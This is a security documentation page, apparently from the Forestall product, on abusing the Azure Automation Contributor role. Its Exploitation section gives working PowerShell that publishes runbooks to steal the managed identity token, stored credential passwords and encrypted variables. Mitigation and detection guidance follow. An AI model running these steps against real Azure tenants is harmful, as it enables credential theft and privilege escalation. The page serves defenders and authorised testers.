> For the complete documentation index, see [llms.txt](https://docs.forestall.io/forestall/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.forestall.io/forestall/edges/azure/az_automation_contributor.md).

# AZ\_AUTOMATION\_CONTRIBUTOR

## Summary

|                            |                                                                                                                     |
| -------------------------- | ------------------------------------------------------------------------------------------------------------------- |
| **Forestall ACL Alias**    | AZ\_AUTOMATION\_CONTRIBUTOR                                                                                         |
| **Azure Alias**            | Automation Contributor (Azure RBAC)                                                                                 |
| **Affected Object Types**  | Automation Accounts                                                                                                 |
| **Exploitation Certainty** | Certain                                                                                                             |
| **Azure RBAC Role**        | Automation Contributor (`f353d9bd-d4a6-484e-a77a-8050b599b867`) - manage Automation resources except RunAs accounts |

**Custom Role Actions:**

* `Microsoft.Automation/automationAccounts/*`

## Description

`AZ_AUTOMATION_CONTRIBUTOR` represents the Azure RBAC **Automation Contributor** role assignment. This role grants full control over Azure Automation Accounts, enabling:

* **Create/modify runbooks** - write arbitrary PowerShell or Python code.
* **Publish and execute runbooks** - run code under the Automation Account's identity.
* **Access credentials and variables** - read stored credentials and encrypted variables.
* **Manage schedules and webhooks** - configure automated execution.

The key abuse vector is that runbooks execute **under the Automation Account's managed identity or Run As account**, which often has:

* **Contributor or Owner** at subscription scope for management operations.
* Access to Key Vaults, VMs, and other resources.
* Network connectivity to internal resources.

| Component          | Abuse Potential                               |
| ------------------ | --------------------------------------------- |
| Runbooks           | Execute arbitrary code as Automation identity |
| Credentials        | Extract stored usernames/passwords            |
| Variables          | Access encrypted configuration data           |
| Run As Certificate | Impersonate service principal                 |
| Managed Identity   | Access Azure resources                        |

## Identification

### PowerShell (Az Module)

```powershell
Connect-AzAccount

# List all Automation Contributor assignments
Get-AzRoleAssignment -RoleDefinitionName "Automation Contributor" |
    Select-Object DisplayName, SignInName, ObjectType, Scope |
    Format-Table -AutoSize

# List all Automation Accounts
Get-AzAutomationAccount | Select-Object AutomationAccountName, ResourceGroupName, Location

# Check an Automation Account's managed identity
$aa = Get-AzAutomationAccount -ResourceGroupName "<RGName>" -Name "<AutomationAccountName>"
$aa.Identity

# List runbooks in an Automation Account
Get-AzAutomationRunbook -ResourceGroupName "<RGName>" -AutomationAccountName "<AAName>" |
    Select-Object Name, RunbookType, State |
    Format-Table -AutoSize
```

### Azure CLI

```bash
# List Automation Contributor assignments
az role assignment list --role "Automation Contributor" -o table

# List all Automation Accounts
az automation account list -o table

# Check an Automation Account's managed identity
az automation account show --resource-group "<RGName>" --name "<AAName>" --query "identity"

# List runbooks in an Automation Account
az automation runbook list --resource-group "<RGName>" --automation-account-name "<AAName>" -o table
```

### Azure Portal

1. Open **Azure Portal** -> **Automation Accounts**.
2. Select the target account -> **Access control (IAM)** -> **Role assignments**.
3. Review Automation Contributor assignments.
4. Check **Identity** blade for managed identity configuration.

## Exploitation

### Method 1: Create and Execute Malicious Runbook

```powershell
Connect-AzAccount

# Create a runbook that steals the managed identity token
$runbookContent = @'
$tokenAuthURI = $env:MSI_ENDPOINT + "?resource=https://graph.microsoft.com/&api-version=2017-09-01"
$tokenResponse = Invoke-RestMethod -Method Get -Headers @{Secret = $env:MSI_SECRET} -Uri $tokenAuthURI
Write-Output "Access Token: $($tokenResponse.access_token)"
Write-Output "Expires On: $($tokenResponse.expires_on)"
'@

# Save runbook content to file
$runbookContent | Out-File -FilePath ".\MaliciousRunbook.ps1"

# Import the runbook
Import-AzAutomationRunbook -ResourceGroupName "<RGName>" `
    -AutomationAccountName "<AAName>" `
    -Name "MaliciousRunbook" `
    -Type PowerShell `
    -Path ".\MaliciousRunbook.ps1" `
    -Published

# Start the runbook
$job = Start-AzAutomationRunbook -ResourceGroupName "<RGName>" `
    -AutomationAccountName "<AAName>" `
    -Name "MaliciousRunbook"

# Get the output
Start-Sleep -Seconds 30
Get-AzAutomationJobOutput -ResourceGroupName "<RGName>" `
    -AutomationAccountName "<AAName>" `
    -JobId $job.JobId |
    Select-Object Summary
```

![Create a runbook that steals the managed identity token](https://3408039743-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FObpV44hoVkNmo5bFuVVL%2Fuploads%2Fgit-blob-4e32a33a0b01673b6de0efc63ff67938b0704915%2Fazure-az_automation_contributor-runBook_steal_managed_identity_token_powershell.png?alt=media)

### Method 2: Extract Stored Credentials

```powershell
Connect-AzAccount

# List all credentials in the Automation Account
Get-AzAutomationCredential -ResourceGroupName "<RGName>" -AutomationAccountName "<AAName>"

# Credentials cannot be directly read via API, but can be used in runbooks
# Create a runbook to extract credentials:
$runbookContent = @'

$cred = Get-AutomationPSCredential -Name "<CredentialName>"
Write-Output "Username: $($cred.UserName)"
Write-Output "Password: $($cred.GetNetworkCredential().Password)"
'@

# Import and run as above
```

![Extract Stored Credentials](https://3408039743-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FObpV44hoVkNmo5bFuVVL%2Fuploads%2Fgit-blob-9cf7682e62b6604fd196ce1d7640a4249ee624e0%2Fazure-az_automation_contributor-runBook_Extract_Stored_credentials_powershell.png?alt=media)

### Method 3: Access Encrypted Variables

```powershell
Connect-AzAccount

# List variables (encrypted values are not returned)
Get-AzAutomationVariable -ResourceGroupName "<RGName>" -AutomationAccountName "<AAName>"

# Create runbook to read encrypted variables:
$runbookContent = @'
$secretVar = Get-AutomationVariable -Name "<VariableName>"
Write-Output "Variable Value: $secretVar"
'@
```

![Access Encrypted Variables](https://3408039743-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FObpV44hoVkNmo5bFuVVL%2Fuploads%2Fgit-blob-638bd9ce9226251b0a7afbde6f7bf62f3f64e754%2Fazure-az_automation_contributor-runBook_Extract_encrypted_vars_powershell.png?alt=media)

## Mitigation

1. **Minimize Automation Contributor assignments**
   * Grant only to identities that need to manage automation.
   * Use **Automation Operator** for running existing runbooks without modification rights.
2. **Apply least privilege to Automation Account identities**
   * Managed identities and Run As accounts should have minimal required permissions.
   * Avoid subscription-wide Contributor/Owner.
3. **Disable Run As accounts**
   * Migrate to managed identities (Run As accounts are being deprecated).
4. **Enable diagnostic logging**
   * Send Activity Log and Job Logs to Log Analytics.
5. **Use Private Endpoints**
   * Restrict network access to Automation Accounts.

## Detection

Use the Azure Portal:

1. Open **Azure Portal** -> **Automation Accounts** -> select the target account.
2. Go to **Jobs** to review all runbook executions, including start time, status, and initiator.
3. Select a job -> **All Logs** to see detailed output and errors.
4. Go to **Activity log** to review control plane operations (runbook creation, modification, publication).
5. Filter by **Operation name** such as:
   * `Create or Update an Azure Automation Runbook`
   * `Publish an Azure Automation Runbook`
   * `Create an Azure Automation Job`
6. Check **Process Automation** -> **Runbooks** for recently created or modified runbooks.
7. Review **Shared Resources** -> **Credentials** and **Variables** for unauthorized additions.

## References

* <https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#automation-contributor>
* <https://blog.netspi.com/maintaining-azure-persistence-via-automation-accounts/>
* <https://blog.netspi.com/azure-automation-accounts-key-stores/>
* <https://microsoft.github.io/Azure-Threat-Research-Matrix/Execution/AZT302/>
